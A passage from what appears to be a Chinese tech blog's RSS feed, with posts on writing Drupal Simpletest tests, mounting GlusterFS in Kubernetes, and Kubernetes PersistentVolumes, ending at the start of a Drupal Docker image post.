&lt;li&gt;&lt;p&gt;用这个新建用户登录&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;下面的 setUp() 代码用来完成这些任务：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;&amp;lt;?php
  public function setUp() {
    // Enable any modules required for the test. This should be an array of
    // module names.
    parent::setUp(array(&#39;simpletest_example&#39;));
    // Create and log in our privileged user.
    $this-&amp;gt;privileged_user = $this-&amp;gt;drupalCreateUser(array(
      &#39;create simpletest_example content&#39;,
      &#39;extra special edit any simpletest_example&#39;,
      ));
    $this-&amp;gt;drupalLogin($this-&amp;gt;privileged_user);
  }
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：在 Drupal 6 中，我们必须显式的启用所有被依赖模块。Drupal 7 会自动启用这些需要的模块。&lt;/p&gt;

&lt;h2 id=&#34;编写指定测试-创建-node&#34;&gt;编写指定测试：创建 Node&lt;/h2&gt;

&lt;p&gt;现在我们要练习实现指定的测试内容。我们只要为前面的 test 类添加成员方法就可以了，每个成员方法会实现一个练习。所有的成员函数名都应该以小写的 &amp;lsquo;test&amp;rsquo; 开始。所有这类函数都会自动被 Simpletest 识别并按需运行（注意，虽然可以把每个断言放到一个不同的函数中，但是还是推荐一次运行多个不同的断言）。&lt;/p&gt;

&lt;p&gt;我们的第一个测试是利用 &lt;em&gt;node/add/simpletest-example&lt;/em&gt; 中的 form 创建一个新的simpletest_example 类型的 Node：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;&amp;lt;?php
  /**
    * Tests creation of a Simpletest example node.
    */
  public function testSimpleTestExampleCreate() {
    // Create node to edit.
    $edit = array();
    $edit[&#39;title&#39;] = $this-&amp;gt;randomName(8);
    $edit[&amp;quot;body[und][0][value]&amp;quot;] = $this-&amp;gt;randomName(16);
    $this-&amp;gt;drupalPost(&#39;node/add/simpletest-example&#39;, $edit, t(&#39;Save&#39;));
    $this-&amp;gt;assertText(t(&#39;Simpletest Example Node Type @title has been created.&#39;, array(&#39;@title&#39; =&amp;gt; $edit[&#39;title&#39;])));
  }
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;drupalpost-drupalget-和-assertions&#34;&gt;drupalPost, drupalGet 和 Assertions&lt;/h2&gt;

&lt;p&gt;上面的代码是一组非常简单的 Form 提交，提交的目标是 &lt;code&gt;node/add/simpletest-example&lt;/code&gt; 页面。他做了一个字段的数组（ &lt;code&gt;$edit&lt;/code&gt; 数组，为标题和内容分配随机内容），然后把这个 form 提交，并检测我们是否后能在页面上获取到相应的内容。&lt;/p&gt;

&lt;p&gt;大多数测试是这样的内容：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;用drupalGet()前往指定页面，或用 drupalPost() 提交一个 form。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;检测指定页面是否出现了符合我们期待的内容。&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;code&gt;$this-&amp;gt;drupalGet($path)&lt;/code&gt; 很简单：浏览指定页面。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;$this-&amp;gt;drupalPost($path, $edit_fields, $submit_button_name)&lt;/code&gt; 稍微有点复杂。&lt;/p&gt;

&lt;p&gt;然后就有很多可能的检测，最简单的情况是 &lt;code&gt;$this-&amp;gt;assertText($text_to_find_on_page)&lt;/code&gt; ，如果这篇教程无法满足你的需求，可以在这里获得&lt;a href=&#34;http://drupal.org/node/265828&#34; target=&#34;_blank&#34;&gt;更多帮助&lt;/a&gt;。&lt;/p&gt;

&lt;h2 id=&#34;测试中的用户和核心环境&#34;&gt;测试中的用户和核心环境&lt;/h2&gt;

&lt;p&gt;测试是在一个沙箱环境中运行的。利用 &lt;code&gt;$this-&amp;gt;drupalLogin($account)&lt;/code&gt; 登录。drupalGet 和 drupalPost 这些测试方法也是运行在沙箱中的。如果你想调用核心API功能（例如 &lt;code&gt;user_access&lt;/code&gt;），强烈推荐将测试用户指派到核心环境之中。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;&amp;lt;?php
	$account = $this-&amp;gt;drupalCreateUser(array(&#39;access content&#39;));
	$this-&amp;gt;drupalLogin($account);
	global $user;
	$user = user_load($account-&amp;gt;uid);
	$this-&amp;gt;assertFalse(user_access(&#39;access content&#39;));
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Simpletest 在测试期间，把用户切换到 uid 1，并协助恢复用户，所以我们可以在没有安全问题的情况下改变用户。&lt;/p&gt;

&lt;h2 id=&#34;simpletest-的-web-界面&#34;&gt;Simpletest 的 Web 界面&lt;/h2&gt;

&lt;p&gt;接下来我们需要运行测试。这里我们要从web界面启动测试。&lt;/p&gt;

&lt;p&gt;进入 &lt;code&gt;Configuration &amp;gt; Development &amp;gt; Testing&lt;/code&gt; 页面，找到刚创建的模块。在这个页面，你会看到两个 Tab：“Settings” 和 &amp;ldquo;List&amp;rdquo;。在 List 页上，你会看到可用测试的列表。选择刚创建的组名为 “Examples” 测试，点击 &lt;code&gt;Run Tests&lt;/code&gt;按钮。在查看这个列表之前，最好晴空一下缓存。&lt;/p&gt;

&lt;p&gt;测试运行之后，就可以获得结果，这个测试的通过情况。&lt;/p&gt;

&lt;p&gt;也可以在命令行下运行测试，更多信息可以参考&lt;a href=&#34;http://drupal.org/node/645286&#34; target=&#34;_blank&#34;&gt;从命令行运行测试&lt;/a&gt;。&lt;/p&gt;

&lt;h2 id=&#34;测试失败演示&#34;&gt;测试失败演示&lt;/h2&gt;

&lt;p&gt;只是运行一个成功的例子意义很有限，还是看看失败的情况吧。&lt;/p&gt;

&lt;p&gt;我们会用同样的 class 来进行编辑 Node 的测试。我们的模块在这个功能上面有缺陷 —— 没有正确的处理 “edit own simpletest_example” 权限。所以有这个权限的用户也无法进行编辑。在这个测试中，我们会创建一个 Node，并尝试去编辑。&lt;/p&gt;

&lt;p&gt;运行下面的测试，来查看结果。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;&amp;lt;?php
  /**
    * Tests editing a Simpletest example node.
    */
  public function testSimpleTestExampleEdit() {
    $settings = array(
      &#39;type&#39; =&amp;gt; &#39;simpletest_example&#39;,
      &#39;title&#39; =&amp;gt; $this-&amp;gt;randomName(32),
      &#39;body&#39; =&amp;gt; array(LANGUAGE_NONE =&amp;gt; array(array($this-&amp;gt;randomName(64)))),
    );
    $node = $this-&amp;gt;drupalCreateNode($settings);
    // For debugging, we might output the node structure with $this-&amp;gt;verbose()
    $this-&amp;gt;verbose(&#39;Node created: &#39; . var_export($node, TRUE));
    // It would only be output if the testing settings had &#39;verbose&#39; set.
    // We&#39;ll run this test normally, but not on the testbot, as it would
    // indicate that the examples module was failing tests.
    if (!$this-&amp;gt;runningOnTestbot()) {
      // The debug() statement will output information into the test results.
      // It can also be used in Drupal 7 anywhere in code and will come out
      // as a drupal_set_message().
      debug(&#39;We are not running on the PIFR testing server, so will go ahead and catch the failure.&#39;);
      $this-&amp;gt;drupalGet(&amp;quot;node/{$node-&amp;gt;nid}/edit&amp;quot;);
      // Make sure we don&#39;t get a 401 unauthorized response:
      $this-&amp;gt;assertResponse(200, &#39;User is allowed to edit the content.&#39;);
      // Looking for title text in the page to determine whether we were
      // successful opening edit form. Note that the output message
      //  &amp;quot;Found title in edit form&amp;quot; is not translated with t().
      $this-&amp;gt;assertText(t(&amp;quot;@title&amp;quot;, array(&#39;@title&#39; =&amp;gt; $settings[&#39;title&#39;])), &amp;quot;Found title in edit form&amp;quot;);
    }
  }
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;单元测试&#34;&gt;单元测试&lt;/h2&gt;

&lt;p&gt;Simpletest也提供了 &lt;code&gt;DrupalUnitTestCase&lt;/code&gt; 作为一个 &lt;code&gt;DrupalWebTestCase&lt;/code&gt; 的补充。&lt;/p&gt;

&lt;p&gt;单元测试不会创建数据表和文件目录。这使得单元测试比功能测试的运行更加迅速，同时也意味着他无法访问数据库和文件系统。调用任何访问数据库的 Drupal 函数都会引发异常，这其中就包含了&lt;code&gt;watchdog()&lt;/code&gt;, &lt;code&gt;module_implements()&lt;/code&gt; , &lt;code&gt;module_invoke_all()&lt;/code&gt; 等。&lt;/p&gt;

&lt;p&gt;关于 Drupal 的单元测试的更多信息，可移步到 &lt;a href=&#34;http://drupal.org/node/811254&#34; target=&#34;_blank&#34;&gt;Unit Testing with Simpletest&lt;/a&gt;。&lt;/p&gt;

&lt;h2 id=&#34;simpletest中使用-t-的时机&#34;&gt;Simpletest中使用 t() 的时机&lt;/h2&gt;

&lt;p&gt;跟Drupal中的字符串不同，simpletest中的字符串一般不需要使用 &lt;a href=&#34;https://api.drupal.org/api/drupal/includes%21bootstrap.inc/function/t/7&#34; target=&#34;_blank&#34;&gt;t()&lt;/a&gt;，这里有两个原因：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;多数字符串只是用来测试，不会出现在网站上，所以无需翻译。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;参与测试的各个不同的组件应该尽量解耦，有利于提供高性能的，可靠的覆盖测试。t() 对于其他子系统有依赖，所以尽量避免。&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&#34;什么时候使用-t&#34;&gt;什么时候使用 t()&lt;/h3&gt;

&lt;p&gt;在下列情况下需要使用 t()：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;进行翻译或本地化相关的测试。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;测试一个翻译好的内容展现。例如，要检查 403 页面 &amp;ldquo;Access denied&amp;rdquo; 消息，使用下面的代码：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;&amp;lt;?php
$this-&amp;gt;assertText(t(&#39;Access denied&#39;), &#39;Access denied message found on forbidden foo page.&#39;);
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;注意第一个字符串 &amp;ldquo;Access denied&amp;rdquo; ，产生于 &lt;a href=&#34;http://api.drupal.org/api/function/drupal_deliver_html_page/7&#34; target=&#34;_blank&#34;&gt;&lt;code&gt;drupal_deliver_html_page()&lt;/code&gt;&lt;/a&gt;，接下来用 t() 进行翻译。所以我们也用  t() 来检查这个消息的展现。&lt;/p&gt;

&lt;h3 id=&#34;什么时候不用-t&#34;&gt;什么时候不用 t()&lt;/h3&gt;

&lt;p&gt;下面的情况不要用 t()：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;getInfo() 中的字符串。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;测试消息，重复使用上面的例子：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;&amp;lt;?php
$this-&amp;gt;assertText(t(&#39;Access denied&#39;), &#39;Access denied message found on forbidden foo page.&#39;);
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;第二个字符串，&amp;rsquo;Access denied message found on forbidden foo page.&amp;lsquo;，是仅为测试这服务的，所以不应进行翻译。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;测试模块或者主题的输出，除非是明确要测试翻译功能。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;在上面所有的例子中，如果需要格式化输出变量，可以使用 &lt;a href=&#34;http://api.drupal.org/api/drupal/includes%21bootstrap.inc/function/format_string/7&#34; target=&#34;_blank&#34;&gt;format_string()&lt;/a&gt;。&lt;/p&gt;

&lt;h2 id=&#34;simpletests-除错&#34;&gt;Simpletests 除错&lt;/h2&gt;

&lt;p&gt;在 test 设置中（*admin/config/development/testing/settings*）有一个选项叫 &amp;ldquo;Provide verbose information when running tests&amp;rdquo;，如果打开了这个选项，每个drupalGet() 和 drupalPost() 都会捕捉一个HTML文件，可以通过这些文件查看测试结果。这是个非常重要的除错手段。&lt;/p&gt;

&lt;p&gt;也可以使用 &lt;code&gt;$this-&amp;gt;verbose(&amp;quot;some message&amp;quot;)&lt;/code&gt;，参数中的消息会被输出。&lt;/p&gt;

&lt;p&gt;在 &lt;a href=&#34;http://blog.boombatower.com/drupal-7-debug-and-simpletest-verbose&#34; target=&#34;_blank&#34;&gt;Boombatower&amp;rsquo;s blog about debugging in Drupal 7&lt;/a&gt; 更多的 debug()和$this-&amp;gt;verbose() 的信息。&lt;/p&gt;

&lt;h2 id=&#34;接下来做什么&#34;&gt;接下来做什么？&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;本文中提到的很多&lt;a href=&#34;http://drupal.org/node/265762&#34; target=&#34;_blank&#34;&gt;函数&lt;/a&gt;和&lt;a href=&#34;http://drupal.org/node/265828&#34; target=&#34;_blank&#34;&gt;断言&lt;/a&gt;的文档。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;通读一下 drupal_web_test_case.php 会很有帮助。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;注意，&lt;a href=&#34;http://drupal.org/user/30906&#34; target=&#34;_blank&#34;&gt;rfay&lt;/a&gt; 维护了一篇配合本文的&lt;a href=&#34;http://docs.google.com/present/view?id=ddsd5sw7_4286b2h6g4s&#34; target=&#34;_blank&#34;&gt;Google Docs presentation to go with this material&lt;/a&gt;。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Kubernetes 中使用 Gluster FS</title>
      <link>/post/glusterfs-in-kubernetes/</link>
      <pubDate>Wed, 01 Jun 2016 22:57:51 +0800</pubDate>
      <guid>/post/glusterfs-in-kubernetes/</guid>
      <description>

&lt;p&gt;以 RC 形式运行在 Kubernetes 集群中的 Pod，会因为 Scale 等需要在不同的 Node 之间发生迁移，因此需要有独立于 Node 文件系统的共享存储服务，同时这一存储服务也应该符合集群的运行需要，简单的 NFS 不管是效率上还是可靠性上，都是不具备这一能力的。这里以 &lt;a href=&#34;https://www.gluster.org/&#34; target=&#34;_blank&#34;&gt;Gluster FS&lt;/a&gt;  作为存储引擎，为容器集群提供云存储服务。&lt;/p&gt;

&lt;p&gt;K8S 的存储卷使用稍有点古怪，Gluster FS 的使用，需要首先定义一个 &lt;a href=&#34;http://kubernetes.io/docs/user-guide/services/&#34; target=&#34;_blank&#34;&gt;Endpoint + Service&lt;/a&gt; 形式的代理，来定义 Gluster FS 集群，然后就可以通过&lt;a href=&#34;http://blog.fleeto.us/translation/persistent-volumes&#34; target=&#34;_blank&#34;&gt;持久卷&lt;/a&gt;或者用 Pod 直接加载了。&lt;/p&gt;

&lt;h2 id=&#34;定义-service&#34;&gt;定义 Service&lt;/h2&gt;

&lt;p&gt;首先用一个 YML 文件来定义 Endpoint 和 Service：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;---
kind: List
apiVersion: v1
items:
- kind: Endpoints
  apiVersion: v1
  metadata:
    name: service_name
  subsets:
  - addresses:
    - ip: 12.34.56.78
    ports:
    - port: 111
- kind: Service
  apiVersion: v1
  metadata:
    name: service_name
  spec:
    ports:
      - port: 111
&lt;/code&gt;&lt;/pre&gt;

&lt;ul&gt;
&lt;li&gt;Port 可随意填写&lt;/li&gt;
&lt;li&gt;Service Name 需要一致，这个值将会用到后面的引用中&lt;/li&gt;
&lt;li&gt;ip：Gluster FS 的 IP 地址&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;定义文件生成结束后，利用 &lt;code&gt;kubectl create -f xx.yaml&lt;/code&gt; 的方式加载到集群之中。可以用 &lt;code&gt;kubectl get svc,endpoints&lt;/code&gt; 来验证结果。&lt;/p&gt;

&lt;p&gt;接下来有两种加载方式可以选择：持久卷和 Pod 直接加载。&lt;/p&gt;

&lt;h2 id=&#34;pod-直接加载&#34;&gt;Pod 直接加载&lt;/h2&gt;

&lt;p&gt;可以在 Pod 中直接定义一个 Gluster FS 格式的卷来进行加载：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;spec:
containers:
- name: nginx-docker-images
  image: nginx:latest
  volumeMounts:
    - mountPath: /glusterfs
      name: test-volume
volumes:
  - name: test-volume
    glusterfs:
      endpoints: glusterfs-cluster
      path: gv0
      readOnly: false
&lt;/code&gt;&lt;/pre&gt;

&lt;ul&gt;
&lt;li&gt;endpoints: 这里指定的就是上一届中定义的服务名称&lt;/li&gt;
&lt;li&gt;path: gluster fs 中的卷名称&lt;/li&gt;
&lt;li&gt;readOnly: 是否只读加载&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;持久卷加载&#34;&gt;持久卷加载&lt;/h2&gt;

&lt;p&gt;首先定义一个持久卷：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;kind: PersistentVolume
apiVersion: v1
metadata:
  name: gluster-volumen-gv01
spec:
  capacity:
    storage: 1Mi
  accessModes:
    - ReadWriteMany
  glusterfs:
    endpoints: glusterfs-svc
    path: gv0
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;内容同上面的 Pod 卷定义大同小异，具体参数可以参考持久卷的相关文档。&lt;/p&gt;

&lt;p&gt;然后定义一个 PVC&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;---
kind: PersistentVolumeClaim
apiVersion: v1
metadata:
  name: myclaim2m
spec:
  accessModes:
    - ReadWriteMany
  resources:
    requests:
      storage: 2Mi
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;最后，在 Pod 中利用 PVC 来进行卷加载&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;volumes:
  - name: test-volume
    persistentVolumeClaim:
      # 上面定义的 PVC 名称
      claimName: myclaim1m
&lt;/code&gt;&lt;/pre&gt;
</description>
    </item>
    
    <item>
      <title>Kubernetes 中的 Persistent Volumes</title>
      <link>/post/pv-in-kubernetes/</link>
      <pubDate>Wed, 01 Jun 2016 09:30:18 +0800</pubDate>
      <guid>/post/pv-in-kubernetes/</guid>
      <description>

&lt;blockquote&gt;
&lt;p&gt;经过一番实验，证明，这东西除了抽象，没啥鸟用，直接挂 Volume 应该是目前最佳选择。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h1 id=&#34;持久卷-persistentvolumes&#34;&gt;持久卷 PersistentVolumes&lt;/h1&gt;

&lt;p&gt;本文描述了 Kubernetes 中的 &lt;strong&gt;PersistentVolumes&lt;/strong&gt;。要求读者有对卷 (volumes) 所有了解。&lt;/p&gt;

&lt;h2 id=&#34;简介&#34;&gt;简介&lt;/h2&gt;

&lt;p&gt;存储管理跟计算管理是两个不同的问题。&lt;strong&gt;PersistentVolume&lt;/strong&gt; 子系统，对存储的供应和使用做了抽象，以 API 形式提供给管理员和用户使用。要完成这一任务，我们引入了两个新的 API 资源：&lt;strong&gt;PersistentVolume（持久卷）&lt;/strong&gt; 和 &lt;strong&gt;PersistentVolumeClaim（持久卷申请）&lt;/strong&gt;。&lt;/p&gt;

&lt;p&gt;PersistentVolume（PV）是集群之中的一块网络存储。跟 Node 一样，也是集群的资源。PV 跟 Volume (卷) 类似，不过会有独立于 Pod 的生命周期。这一 API 对象包含了存储的实现细节，例如 NFS、iSCSI 或者其他的云提供商的存储系统。&lt;/p&gt;

&lt;p&gt;PersistentVolumeClaim (PVC) 是用户的一个请求。他跟 Pod 类似。Pod 消费 Node 的资源，PVCs 消费 PV 的资源。Pod 能够申请特定的资源（CPU 和 内存）；Claim 能够请求特定的尺寸和访问模式（例如可以加载一个读写，以及多个只读实例）&lt;/p&gt;

&lt;h2 id=&#34;pv-和-pvc-的生命周期&#34;&gt;PV 和 PVC 的生命周期&lt;/h2&gt;

&lt;p&gt;PV 是集群的资源。PVC 是对这一资源的请求，也是对资源的所有权的检验。PV 和 PVC 之间的互动遵循如下的生命周期。&lt;/p&gt;

&lt;h3 id=&#34;供应&#34;&gt;供应&lt;/h3&gt;

&lt;p&gt;集群管理员会创建一系列的 PV。这些 PV 包含了为集群用户提供的真实存储资源。他们可利用 Kubernetes API 来消费。&lt;/p&gt;

&lt;h3 id=&#34;绑定&#34;&gt;绑定&lt;/h3&gt;

&lt;p&gt;用户创建一个包含了容量和访问模式的持久卷申请。Master 会监听 PVC 的产生，并尝试根据请求内容查找匹配的 PV，并把 PV 和 PVC 进行绑定。用户能够获取满足需要的资源，并且在使用过程中可能超出请求数量。&lt;/p&gt;

&lt;p&gt;如果找不到合适的卷，这一申请就会持续处于非绑定状态，一直到出现合适的 PV。例如一个集群准备了很多的 50G 大小的持久卷，（虽然总量足够）也是无法响应 100G 的申请的，除非把 100G 的 PV 加入集群。&lt;/p&gt;

&lt;h3 id=&#34;使用&#34;&gt;使用&lt;/h3&gt;

&lt;p&gt;Pod 把申请作为卷来使用。集群会通过 PVC 查找绑定的 PV，并 Mount 给 Pod。对于支持多种访问方式的卷，用户在使用 PVC 作为卷的时候，可以指定需要的访问方式。&lt;/p&gt;

&lt;p&gt;一旦用户拥有了一个已经绑定的 PVC，被绑定的 PV 就归该用户所有了。用户的 Pods 能够通过在 Pod 的卷中包含的 PVC 来访问他们占有的 PV。&lt;/p&gt;

&lt;h3 id=&#34;释放&#34;&gt;释放&lt;/h3&gt;

&lt;p&gt;当用户完成对卷的使用时，就可以利用 API 删除 PVC 对象了，而且他还可以重新申请。删除 PVC 后，对应的卷被视为 “被释放”，但是这时还不能给其他的 PVC 使用。之前的 PVC 数据还保存在卷中，要根据策略来进行后续处理。&lt;/p&gt;

&lt;h3 id=&#34;回收&#34;&gt;回收&lt;/h3&gt;

&lt;p&gt;PV 的回收策略向集群阐述了在 PVC 释放卷的时候，应如何进行后续工作。目前可以采用三种策略：保留，回收或者删除。保留策略允许重新申请这一资源。在持久卷能够支持的情况下，删除策略会同时删除持久卷以及 AWS EBS/GCE PD 或者 Cinder 卷中的存储内容。如果插件能够支持，回收策略会执行基础的擦除操作（&lt;code&gt;rm -rf /thevolume/*&lt;/code&gt;），这一卷就能被重新申请了。&lt;/p&gt;

&lt;h2 id=&#34;持久卷的类型&#34;&gt;持久卷的类型&lt;/h2&gt;

&lt;p&gt;持久卷是以插件方式实现的，目前支持如下插件：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;GCEPersistentDisk&lt;/li&gt;
&lt;li&gt;AWSElasticBlockStore&lt;/li&gt;
&lt;li&gt;NFS&lt;/li&gt;
&lt;li&gt;iSCSI&lt;/li&gt;
&lt;li&gt;RBD (Ceph Block Device)&lt;/li&gt;
&lt;li&gt;Glusterfs&lt;/li&gt;
&lt;li&gt;HostPath (单节点测试使用)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;持久卷&#34;&gt;持久卷&lt;/h2&gt;

&lt;p&gt;每个 PV 包含一个 spec 以及 status ，用于描述该卷的规格和状态。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;  apiVersion: v1
  kind: PersistentVolume
  metadata:
    name: pv0003
  spec:
    capacity:
      storage: 5Gi
    accessModes:
      - ReadWriteOnce
    persistentVolumeReclaimPolicy: Recycle
    nfs:
      path: /tmp
      server: 172.17.0.2
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;capacity-容量&#34;&gt;Capacity（容量）&lt;/h3&gt;

&lt;p&gt;一般来说，PV 会指定存储容量。这里需要使用 PV 的 &lt;strong&gt;capcity&lt;/strong&gt; 属性。参见 Kubernetes 的 &lt;a href=&#34;https://github.com/kubernetes/kubernetes/blob/release-1.2/docs/design/resources.md&#34; target=&#34;_blank&#34;&gt;Resource Model&lt;/a&gt; 一文，来获取这一属性的计量单位 (Mi/Gi&amp;hellip;.)。&lt;/p&gt;

&lt;p&gt;目前存储大小是唯一一个能够被申请的指标，今后会加入更多属性，例如 IOPS，吞吐能力等。&lt;/p&gt;

&lt;h3 id=&#34;access-modes-访问模式&#34;&gt;Access Modes（访问模式）&lt;/h3&gt;

&lt;p&gt;只要资源提供者支持，持久卷能够被用任何方式加载到主机上。每种存储都会有不同的能力，每个 PV 的访问模式也会被设置成为该卷所支持的特定模式。例如 NFS 能够支持多个读写客户端，但是某个 NFS PV 可能会在服务器上以只读方式使用。每个 PV 都有自己的一系列的访问模式，这些访问模式取决于 PV 的能力。&lt;/p&gt;

&lt;p&gt;访问模式的可选范围如下：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ReadWriteOnce&lt;/strong&gt;：该卷能够以读写模式被加载到一个节点上。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ReadOnlyMany&lt;/strong&gt;：该卷能够以只读模式加载到多个节点上。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ReadWriteMany&lt;/strong&gt;：该卷能够以读写模式被多个节点同时加载。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;在 CLI 下，访问模式缩写为：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;RWO&lt;/strong&gt;：ReadWriteOnce&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ROX&lt;/strong&gt;：ReadOnlyMany&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;RWX&lt;/strong&gt;：ReadWriteMany&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;重要！一个卷不论支持多少种访问模式，同时只能以一种访问模式加载。例如一个 GCEPersistentDisk 既能支持 ReadWriteOnce ，也能支持 ReadOnlyMany。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&#34;recycling-policy-回收策略&#34;&gt;Recycling Policy（回收策略）&lt;/h3&gt;

&lt;p&gt;当前的回收策略可选值包括：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Retain - 人工重新申请&lt;/li&gt;
&lt;li&gt;Recycle - 基础擦除（“&lt;code&gt;rm -rf /thevolume/*&lt;/code&gt;”）&lt;/li&gt;
&lt;li&gt;Delete - 相关的存储资产例如 AWS EBS，GCE PD 或者 OpenStack Cinder 卷一并删除。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;目前，只有 NFS 和 HostPath 支持 Recycle 策略，AWS EBS、GCE PD 以及 Cinder 卷支持 Delete 策略（*其他的都是 Retain 是吧。。*）。&lt;/p&gt;

&lt;h3 id=&#34;阶段-phase&#34;&gt;阶段（Phase）&lt;/h3&gt;

&lt;p&gt;一个卷会处于如下阶段之一：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Available&lt;/strong&gt;：可用资源，尚未被绑定到 PVC 上&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Bound&lt;/strong&gt;：该卷已经被绑定&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Released&lt;/strong&gt;：PVC 已经被删除，但该资源尚未被集群回收&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Failed&lt;/strong&gt;：该卷的自动回收过程失败。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;CLI 会显示绑定到该 PV 的 PVC。&lt;/p&gt;

&lt;h2 id=&#34;persistentvolumeclaims-持久卷申请&#34;&gt;PersistentVolumeClaims（持久卷申请）&lt;/h2&gt;

&lt;p&gt;每个 PVC 包含一个 spec 以及 status，用以表达其规格和状态。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;kind: PersistentVolumeClaim
apiVersion: v1
metadata:
  name: myclaim
spec:
  accessModes:
    - ReadWriteOnce
  resources:
    requests:
      storage: 8Gi
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;访问模式&#34;&gt;访问模式&lt;/h3&gt;

&lt;p&gt;PVC 使用跟 PV 一致的访问模式。&lt;/p&gt;

&lt;h3 id=&#34;资源&#34;&gt;资源&lt;/h3&gt;

&lt;p&gt;PVC 跟 Pod 一样可以请求特定数量的资源。在这里的请求内容就是存储（storage）。&lt;a href=&#34;https://github.com/kubernetes/kubernetes/blob/release-1.2/docs/design/resources.md&#34; target=&#34;_blank&#34;&gt;Resource Model&lt;/a&gt; 文中提到的内容对 PV 和 PVC 同样适用。&lt;/p&gt;

&lt;h2 id=&#34;pvc-卷&#34;&gt;PVC 卷&lt;/h2&gt;

&lt;p&gt;Pod 能够借助 PVC 来访问存储。PVC 必须跟 Pod 处于同一个命名空间。集群找到 Pod 命名空间中的 PVC，然后利用 PVC 获取到背后的 PV。这个卷就会被加载到主机上，让 Pod 可以使用。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;kind: Pod
apiVersion: v1
metadata:
  name: mypod
spec:
  containers:
    - name: myfrontend
      image: dockerfile/nginx
      volumeMounts:
      - mountPath: &amp;quot;/var/www/html&amp;quot;
        name: mypd
  volumes:
    - name: mypd
      persistentVolumeClaim:
        claimName: myclaim
&lt;/code&gt;&lt;/pre&gt;
</description>
    </item>
    
    <item>
      <title>靠谱的适合 Drupal DevOps 实践的镜像</title>
      <link>/post/image-for-drupal-container/</link>
      <pubDate>Wed, 01 Jun 2016 06:37:43 +0800</pubDate>
      <guid>/post/image-for-drupal-container/</guid>
      <description>

&lt;blockquote&gt;
&lt;p&gt;有 Drush，有 Opcache，关键设置可通过环境变量进行调整。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h1 id=&#34;docker-pull-dustise-drush&#34;&gt;docker pull dustise/drush&lt;/h1&gt;

&lt;p&gt;LAMP image with drush involved.&lt;/p&gt;

&lt;h2 id=&#34;features&#34;&gt;Features&lt;/h2&gt;

